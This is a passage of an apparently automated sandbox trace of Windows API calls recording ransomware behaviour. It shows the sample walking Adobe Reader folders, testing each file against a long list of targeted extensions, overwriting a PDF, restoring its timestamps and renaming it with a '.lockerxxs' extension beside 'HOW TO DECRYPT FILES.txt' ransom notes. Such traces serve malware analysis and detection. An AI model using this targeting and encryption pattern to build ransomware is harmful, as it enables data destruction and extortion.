GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\how to decrypt files.txt")) returned 0x20 [0068.579] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.579] lstrlenA (lpString="*.ems") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.579] lstrlenA (lpString="*.db") returned 4 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.579] lstrlenA (lpString="*.dbf") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.579] lstrlenA (lpString="*.myox") returned 6 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.579] lstrlenA (lpString="*.myo") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.579] lstrlenA (lpString="*.qbw") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.579] lstrlenA (lpString="*.qbb") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.579] lstrlenA (lpString="*.qbm") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.579] lstrlenA (lpString="*.qbo") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.579] lstrlenA (lpString="*.qbx") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.579] lstrlenA (lpString="*.qba") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.579] lstrlenA (lpString="*.qby") returned 5 [0068.579] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.579] lstrlenA (lpString="*.qbj") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.580] lstrlenA (lpString="*.ofx") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.580] lstrlenA (lpString="*.qif") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.580] lstrlenA (lpString="*.mye") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.580] lstrlenA (lpString="*.mbox") returned 6 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.580] lstrlenA (lpString="*.eml") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.580] lstrlenA (lpString="*.pst") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.580] lstrlenA (lpString="*.ost") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.580] lstrlenA (lpString="*.idx") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.580] lstrlenA (lpString="*.dbx") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.580] lstrlenA (lpString="*.sql") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.580] lstrlenA (lpString="*.mdb") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.580] lstrlenA (lpString="*.fdb") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.580] lstrlenA (lpString="*.wab") returned 5 [0068.580] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.580] lstrlenA (lpString="*.dat") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.581] lstrlenA (lpString="*.txt") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.581] lstrlenA (lpString="*.jpeg") returned 6 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.581] lstrlenA (lpString="*.jpg") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.581] lstrlenA (lpString="*.png") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.581] lstrlenA (lpString="*.php") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.581] lstrlenA (lpString="*.cs") returned 4 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.581] lstrlenA (lpString="*.cpp") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.581] lstrlenA (lpString="*.rar") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.581] lstrlenA (lpString="*.zip") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.581] lstrlenA (lpString="*.html") returned 6 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.581] lstrlenA (lpString="*.htm") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.581] lstrlenA (lpString="*.xlsx") returned 6 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.581] lstrlenA (lpString="*.xls") returned 5 [0068.581] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.582] lstrlenA (lpString="*.mp4") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.582] lstrlenA (lpString="*.ppt") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.582] lstrlenA (lpString="*.pptx") returned 6 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.582] lstrlenA (lpString="*.doc") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.582] lstrlenA (lpString="*.dot") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.582] lstrlenA (lpString="*.docx") returned 6 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.582] lstrlenA (lpString="*.7z") returned 4 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.582] lstrlenA (lpString="*.tar") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.582] lstrlenA (lpString="*.bz2") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.582] lstrlenA (lpString="*.gz") returned 4 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.582] lstrlenA (lpString="*.mkv") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.582] lstrlenA (lpString="*.eml") returned 5 [0068.582] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.582] lstrlenA (lpString="*.msg") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.583] lstrlenA (lpString="*.edb") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.583] lstrlenA (lpString="*.accdb") returned 7 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.583] lstrlenA (lpString="*.odb") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.583] lstrlenA (lpString="*.java") returned 6 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.583] lstrlenA (lpString="*.asm") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.583] lstrlenA (lpString="*.pfx") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.583] lstrlenA (lpString="*.pem") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.583] lstrlenA (lpString="*.p12") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.583] lstrlenA (lpString="*.gpg") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.583] lstrlenA (lpString="*.vsd") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.583] lstrlenA (lpString="*.odg") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.583] lstrlenA (lpString="*.raw") returned 5 [0068.583] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.584] lstrlenA (lpString="*.nef") returned 5 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.584] lstrlenA (lpString="*.svg") returned 5 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.584] lstrlenA (lpString="*.psd") returned 5 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.584] lstrlenA (lpString="*.vmx") returned 5 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.584] lstrlenA (lpString="*.vmdk") returned 6 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.584] lstrlenA (lpString="*.vdi") returned 5 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.584] lstrlenA (lpString="*.lay6") returned 6 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.584] lstrlenA (lpString="*.mpeg") returned 6 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.584] lstrlenA (lpString="*.djvu") returned 6 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.584] lstrlenA (lpString="*.tiff") returned 6 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.584] lstrlenA (lpString="*.backup") returned 8 [0068.584] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.584] lstrlenA (lpString="*.pdf") returned 5 [0068.584] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" [0068.584] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" [0068.585] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf." [0068.585] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.lockerxxs" [0068.585] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.586] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5404 [0068.586] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.586] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.586] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x53de, lpOverlapped=0x0) returned 1 [0068.589] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf") returned="DefaultID.pdf" [0068.589] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.589] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x53de, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x53de, lpOverlapped=0x0) returned 1 [0068.589] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.590] CloseHandle (hObject=0x94) returned 1 [0068.593] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf.lockerxxs")) returned 1 [0068.594] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.594] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="KOR", cAlternateFileName="")) returned 1 [0068.594] lstrcmpA (lpString1=".", lpString2="KOR") returned -1 [0068.594] lstrcmpA (lpString1="..", lpString2="KOR") returned -1 [0068.594] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.594] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="KOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" [0068.594] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR") returned 63 [0068.594] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.595] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.595] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.595] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.595] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.595] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x592a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.595] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.595] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.595] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.595] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.595] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*.*") returned="*.*" [0068.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" [0068.595] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\") returned="" [0068.595] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", lpString2="HOW TO DECRYPT 